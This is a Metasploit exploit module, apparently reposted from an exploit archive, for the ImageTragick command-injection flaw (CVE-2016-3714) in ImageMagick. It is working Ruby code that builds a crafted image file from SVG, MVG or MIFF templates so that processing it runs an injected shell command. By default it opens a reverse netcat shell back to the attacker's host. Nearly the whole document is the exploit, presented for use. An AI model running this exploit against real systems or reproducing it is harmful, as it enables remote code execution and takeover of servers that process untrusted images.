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ImageMagick 6.9.3-9 / 7.0.1-0 - Delegate Arbitrary Command Execution (ImageTragick)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'ImageMagick Delegate Arbitrary Command Execution', 'Description' => %q{ This module exploits a shell command injection in the way "delegates" (commands for converting files) are processed in ImageMagick versions <= 7.0.1-0 and <= 6.9.3-9 (legacy). Since ImageMagick uses file magic to detect file format, you can create a .png (for example) which is actually a crafted SVG (for example) that triggers the command injection. Tested on Linux, BSD, and OS X. You'll want to choose your payload carefully due to portability concerns. Use cmd/unix/generic if need be. }, 'Author' => [ 'stewie', # Vulnerability discovery 'Nikolay Ermishkin', # Vulnerability discovery 'wvu', # Metasploit module 'hdm' # Metasploit module ], 'References' => [ %w{CVE 2016-3714}, %w{URL https://imagetragick.com/}, %w{URL http://seclists.org/oss-sec/2016/q2/205}, %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab}, %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456} ], 'DisclosureDate' => 'May 3 2016', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'BadChars' => "\x22\x27\x5c", # ", ', and \ 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic netcat bash-tcp' } }, 'Targets' => [ ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'LHOST' => Rex::Socket.source_address, 'DisablePayloadHandler' => false, 'WfsDelay' => 9001 } )) register_options([ OptString.new('FILENAME', [true, 'Output file', 'msf.png']) ]) end def exploit if target.name == 'SVG file' p = Rex::Text.html_encode(payload.encoded) else p = payload.encoded end file_create(template.sub('echo vulnerable', p)) end def template File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template] )) end end # 0day.today [2024-09-28] #